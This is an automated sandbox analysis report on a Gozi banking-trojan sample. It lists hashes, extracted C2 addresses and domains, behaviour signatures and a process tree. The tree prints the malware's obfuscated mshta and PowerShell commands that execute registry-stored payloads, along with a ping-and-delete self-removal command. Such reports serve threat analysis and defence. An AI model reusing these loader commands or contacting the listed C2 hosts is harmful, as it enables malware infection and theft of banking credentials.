Overview

overview

10

Static

static

3

client.exe

windows7-x64

10

client.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-10-2023 15:45

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General

  • Target

    client.exe

  • Size

    295KB

  • MD5

    de21fe50192a021dd37b67881fd332ba

  • SHA1

    44c9c72bf5cd81a82ce7870dc765095f303c7fdf

  • SHA256

    729398faa8543e0a21d46b6881a4111d9c36c05e05f6efe669286f668ac97cab

  • SHA512

    6650fe6e0f2866e442a9f753f90fc8aaf594d1d976207a94724f506d840ad6514b4c18392cbc3d51304dd2afb7fadce72f71b385899136b2e593c9fc1eda934a

  • SSDEEP

    3072:F62X2mvtkAa8QoRzUA/nAUZSuJC/w3mA8FfbJ1fzodp/jhNGY:s2XXviAa8QontJF3b8NHfzodpv

Score
10/10
gozi5050bankerisfbtrojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

185.247.184.139

62.72.33.155

incontroler.com
Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

5050

C2

expirew.com

whofos.com

onlinepoints.online

onlinepoints.top
Attributes
  • base_path

    /pictures/

  • build

    250260

  • exe_type

    worker

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

    bankertrojangozi
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Modifies registry class 64 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3812
  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:4748
    • C:\Windows\System32\RuntimeBroker.exe
      C:\Windows\System32\RuntimeBroker.exe -Embedding
      1⤵
        PID:3404
      • C:\Windows\Explorer.EXE
        C:\Windows\Explorer.EXE
        1⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of UnmapMainImage
        • Suspicious use of WriteProcessMemory
        PID:3164
        • C:\Users\Admin\AppData\Local\Temp\client.exe
          "C:\Users\Admin\AppData\Local\Temp\client.exe"
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3652
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3652 -s 476
            3⤵
            • Program crash
            PID:3808
        • C:\Windows\System32\mshta.exe
          "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Vlcy='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Vlcy).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\DD164BDA-982A-17AD-8A61-4C3B5E25409F\\\FolderOptions'));if(!window.flag)close()</script>"
          2⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:1292
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name brttfhpkqw -value gp; new-alias -name nsrwrjomsf -value iex; nsrwrjomsf ([System.Text.Encoding]::ASCII.GetString((brttfhpkqw "HKCU:Software\AppDataLow\Software\Microsoft\DD164BDA-982A-17AD-8A61-4C3B5E25409F").MelodyTool))
            3⤵
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4100
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rk3kkeve\rk3kkeve.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:556
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDF30.tmp" "c:\Users\Admin\AppData\Local\Temp\rk3kkeve\CSC501C538AF223439A98F4C69910ECEDE9.TMP"
                5⤵
                  PID:3092
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\drcgfmbc\drcgfmbc.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2692
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE097.tmp" "c:\Users\Admin\AppData\Local\Temp\drcgfmbc\CSC3D59D200177E42BF9E9F97E27BF856FD.TMP"
                  5⤵
                    PID:4732
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\client.exe"
              2⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:2668
              • C:\Windows\system32\PING.EXE
                ping localhost -n 5
                3⤵
                • Runs ping.exe
                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                PID:2916
            • C:\Windows\syswow64\cmd.exe
              "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
              2⤵
                PID:4188
            • C:\Windows\System32\RuntimeBroker.exe
              C:\Windows\System32\RuntimeBroker.exe -Embedding
              1⤵
              • Modifies registry class
              PID:856
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 3652 -ip 3652
              1⤵
                PID:4968

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\RESDF30.tmp
                Filesize

                1KB

                MD5

                31ca4b89f773178973e59025faf1e8bd

                SHA1

                7281f5c71e6984a2b9715516c3727879aab59ecb

                SHA256

                bc127658f5e678ca102a863084c3769511f9c02e57636a14fe55b2bff5870b82

                SHA512

                9cc4712ee1871718624e5744c0d0227706a5f11a2932c9c242ab09140532322ca202aa1a647747e0848ed4dac76feb164110733039662e6b901f1978a59b78a9

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              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ij51ocvh.sg1.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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              • C:\Users\Admin\AppData\Local\Temp\drcgfmbc\drcgfmbc.dll
                Filesize

                3KB

                MD5

                a0e69968d022bf93cb5e3a45cf031040

                SHA1

                aef5888200cc9ce495ecde4e70dbb2e95e00f2f1

                SHA256

                bc5b30434e10e2ea54b30c5354bcc8da0ecd0e19870988a2147a6d47758f0359

                SHA512

                b27800f3fccab506db9581cd0a3135756b4bc5ca307330b379a8f59eeef290ad6bf41af07eb15a7185666ea1e15c6d566a0769a6f8a246676854fe5566c4f247

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              • C:\Users\Admin\AppData\Local\Temp\rk3kkeve\rk3kkeve.dll
                Filesize

                3KB

                MD5

                3dec986b97e3018f87f47f3ea0b07b06

                SHA1

                1d6808d68761136b02f8dd62239409d6f4b3a14b

                SHA256

                c661fb392956630f8ab3c7c8a24f7ce287dac8282f9e5a87268559f39406be31

                SHA512

                8709d6bba457aef3be2c2cbe06f0c030ef0b844d4e50c5f320665b5549165844c9801ccdb880a17d9566df78696a5f7debb622d092e8903fdb43c82a13fea54a

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              • \??\c:\Users\Admin\AppData\Local\Temp\drcgfmbc\drcgfmbc.0.cs
                Filesize

                406B

                MD5

                ca8887eacd573690830f71efaf282712

                SHA1

                0acd4f49fc8cf6372950792402ec3aeb68569ef8

                SHA256

                568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3

                SHA512

                2a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7

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              • \??\c:\Users\Admin\AppData\Local\Temp\drcgfmbc\drcgfmbc.cmdline
                Filesize

                369B

                MD5

                d42993ff91927edb3203dffa36daaf67

                SHA1

                54727c09bd3e30b9e9a0a9f55c83aaae1549bae4

                SHA256

                77b41f79a4cf8bb229342f370e3e477c21a35e524b94ee50f0148e09b2d666f5

                SHA512

                a1b299176295302f227cd74e9466d4dc12e213d73a0c2817fb6316db8a14983ef1bb1133f3fb24d85d0f934b755e5389fe16654b8bd4bd791e207c1ed3194946

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              • \??\c:\Users\Admin\AppData\Local\Temp\rk3kkeve\CSC501C538AF223439A98F4C69910ECEDE9.TMP
                Filesize

                652B

                MD5

                4b479a756d67ff9083495ac40205c4aa

                SHA1

                557c016d5321308b326c41ce731614fec4d1d148

                SHA256

                1f18a296bc24ab607b60245f38293855445911e72db6742c001b1b7775adf4ab

                SHA512

                b0c646ee799bd8dd728608405b35412bddbf4a225a11cb785b19e4160db784f2e9ca2bfa5008706217822e06e0765d0f0e70ca4a684520d7ac5859c07bed64ed

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              • \??\c:\Users\Admin\AppData\Local\Temp\rk3kkeve\rk3kkeve.0.cs
                Filesize

                405B

                MD5

                caed0b2e2cebaecd1db50994e0c15272

                SHA1

                5dfac9382598e0ad2e700de4f833de155c9c65fa

                SHA256

                21210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150

                SHA512

                86dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62

                Download Submit
              • \??\c:\Users\Admin\AppData\Local\Temp\rk3kkeve\rk3kkeve.cmdline
                Filesize

                369B

                MD5

                3a5a833806693766f7e655f8ae4002fb

                SHA1

                2878baf4a34685a99d4cb704c3b1ca5e2566f7d3

                SHA256

                3a0808918036356589b5763ae622a31d6afcd76d545793f192934437443c7e76

                SHA512

                d5bca946a640c7b943ec03ae88a16048f762ef36a9cbf688aa3cdc424d894bd5952604d7c902cc82d158e6f6980084de2bafa4fbb99647c83316122b715123e2

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              • memory/856-119-0x000001B491F40000-0x000001B491FE4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/856-88-0x000001B491F40000-0x000001B491FE4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/856-91-0x000001B491A30000-0x000001B491A31000-memory.dmp
                Filesize

                4KB

                Download
              • memory/2668-94-0x000001DC5B7E0000-0x000001DC5B7E1000-memory.dmp
                Filesize

                4KB

                Download
              • memory/2668-92-0x000001DC5B730000-0x000001DC5B7D4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/2668-118-0x000001DC5B730000-0x000001DC5B7D4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/2916-104-0x0000015A41DE0000-0x0000015A41DE1000-memory.dmp
                Filesize

                4KB

                Download
              • memory/2916-117-0x0000015A41C30000-0x0000015A41CD4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/2916-101-0x0000015A41C30000-0x0000015A41CD4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/3164-58-0x00000000005E0000-0x00000000005E1000-memory.dmp
                Filesize

                4KB

                Download
              • memory/3164-57-0x0000000008650000-0x00000000086F4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/3164-102-0x0000000008650000-0x00000000086F4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/3404-78-0x000001A5BE840000-0x000001A5BE841000-memory.dmp
                Filesize

                4KB

                Download
              • memory/3404-76-0x000001A5BE880000-0x000001A5BE924000-memory.dmp
                Filesize

                656KB

                Download
              • memory/3404-114-0x000001A5BE880000-0x000001A5BE924000-memory.dmp
                Filesize

                656KB

                Download
              • memory/3652-115-0x0000000000400000-0x0000000002290000-memory.dmp
                Filesize

                30.6MB

                Download
              • memory/3652-1-0x00000000022F0000-0x00000000023F0000-memory.dmp
                Filesize

                1024KB

                Download
              • memory/3652-9-0x0000000002410000-0x000000000241B000-memory.dmp
                Filesize

                44KB

                Download
              • memory/3652-4-0x0000000000400000-0x0000000002290000-memory.dmp
                Filesize

                30.6MB

                Download
              • memory/3652-3-0x0000000000400000-0x0000000002290000-memory.dmp
                Filesize

                30.6MB

                Download
              • memory/3652-5-0x0000000004040000-0x000000000404D000-memory.dmp
                Filesize

                52KB

                Download
              • memory/3652-2-0x0000000002410000-0x000000000241B000-memory.dmp
                Filesize

                44KB

                Download
              • memory/3652-8-0x00000000022F0000-0x00000000023F0000-memory.dmp
                Filesize

                1024KB

                Download
              • memory/3812-109-0x000001E06A780000-0x000001E06A824000-memory.dmp
                Filesize

                656KB

                Download
              • memory/3812-71-0x000001E06A780000-0x000001E06A824000-memory.dmp
                Filesize

                656KB

                Download
              • memory/3812-72-0x000001E06A740000-0x000001E06A741000-memory.dmp
                Filesize

                4KB

                Download
              • memory/4100-24-0x00007FFD9E040000-0x00007FFD9EB01000-memory.dmp
                Filesize

                10.8MB

                Download
              • memory/4100-64-0x00007FFD9E040000-0x00007FFD9EB01000-memory.dmp
                Filesize

                10.8MB

                Download
              • memory/4100-41-0x000001E524C90000-0x000001E524C98000-memory.dmp
                Filesize

                32KB

                Download
              • memory/4100-26-0x000001E524CA0000-0x000001E524CB0000-memory.dmp
                Filesize

                64KB

                Download
              • memory/4100-28-0x000001E524CA0000-0x000001E524CB0000-memory.dmp
                Filesize

                64KB

                Download
              • memory/4100-53-0x000001E524FF0000-0x000001E524FF8000-memory.dmp
                Filesize

                32KB

                Download
              • memory/4100-27-0x000001E524CA0000-0x000001E524CB0000-memory.dmp
                Filesize

                64KB

                Download
              • memory/4100-65-0x000001E525000000-0x000001E52503D000-memory.dmp
                Filesize

                244KB

                Download
              • memory/4100-55-0x000001E525000000-0x000001E52503D000-memory.dmp
                Filesize

                244KB

                Download
              • memory/4100-14-0x000001E524C20000-0x000001E524C42000-memory.dmp
                Filesize

                136KB

                Download
              • memory/4188-113-0x0000000000FB0000-0x0000000001048000-memory.dmp
                Filesize

                608KB

                Download
              • memory/4188-111-0x0000000000D30000-0x0000000000D31000-memory.dmp
                Filesize

                4KB

                Download
              • memory/4188-108-0x0000000000FB0000-0x0000000001048000-memory.dmp
                Filesize

                608KB

                Download
              • memory/4748-116-0x000001E6B2A90000-0x000001E6B2B34000-memory.dmp
                Filesize

                656KB

                Download
              • memory/4748-83-0x000001E6B2A90000-0x000001E6B2B34000-memory.dmp
                Filesize

                656KB

                Download
              • memory/4748-84-0x000001E6B2880000-0x000001E6B2881000-memory.dmp
                Filesize

                4KB

                Download